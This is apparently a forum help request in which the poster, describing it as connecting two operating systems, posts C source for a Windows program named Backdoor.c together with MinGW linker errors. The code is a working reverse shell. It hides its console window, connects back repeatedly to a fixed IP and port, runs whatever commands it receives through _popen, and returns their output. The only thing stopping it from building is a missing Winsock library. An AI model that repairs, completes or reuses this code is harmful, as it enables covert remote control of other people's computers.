I want to connect two OS with each other and I'm using this code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#define bzero(p, size) (void) memset((p), 0, (size))
int sock;
void Shell() {
char buffer[1024];
char container[1024];
char total_response[18384];
while (1) {
jump:
bzero(buffer,1024);
bzero(container, sizeof(container));
bzero(total_response, sizeof(total_response));
recv(sock, buffer, 1024, 0);
if (strncmp("q", buffer, 1) == 0) {
closesocket(sock);
WSACleanup();
exit(0);
}
else {
FILE *fp;
fp = _popen(buffer, "r");
while(fgets(container,1024,fp) != NULL) {
strcat(total_response, container);
}
send(sock, total_response, sizeof(total_response), 0);
fclose(fp);
}
}
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
struct sockaddr_in ServAddr;
unsigned short ServPort;
char *ServIP;
WSADATA wsaData;
ServIP = "192.168.1.6";
ServPort = 50005;
if (WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
memset(&ServAddr, 0, sizeof(ServAddr));
ServAddr.sin_family = AF_INET;
ServAddr.sin_addr.s_addr = inet_addr(ServIP);
ServAddr.sin_port = htons(ServPort);
start:
while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) != 0)
{
Sleep(10);
goto start;
}
Shell();
}
but I get this error:
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x437): undefined reference to `_imp__send@16'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x496): undefined reference to `_imp__send@16'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x527): undefined reference to `_imp__send@16'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x56f): undefined reference to `_imp__send@16'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x713): undefined reference to `_imp__recv@16'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x73f): undefined reference to `_imp__closesocket@4'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x749): undefined reference to `_imp__WSACleanup@0'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x8b2): undefined reference to `_imp__send@16'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x92e): undefined reference to `_imp__WSAStartup@8'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x95f): undefined reference to `_imp__socket@12'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x995): undefined reference to `_imp__inet_addr@4'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x9a9): undefined reference to `_imp__htons@4'
/usr/bin/i686-w64-mingw32-ld: /tmp/ccS6LApa.o:Backdoor.c:(.text+0x9d1): undefined reference to `_imp__connect@12'
collect2: error: ld returned 1 exit status
what should I do?
THANK YOU.
What I have tried:
I tried to use suggestions on the web or changing the code but it didn't work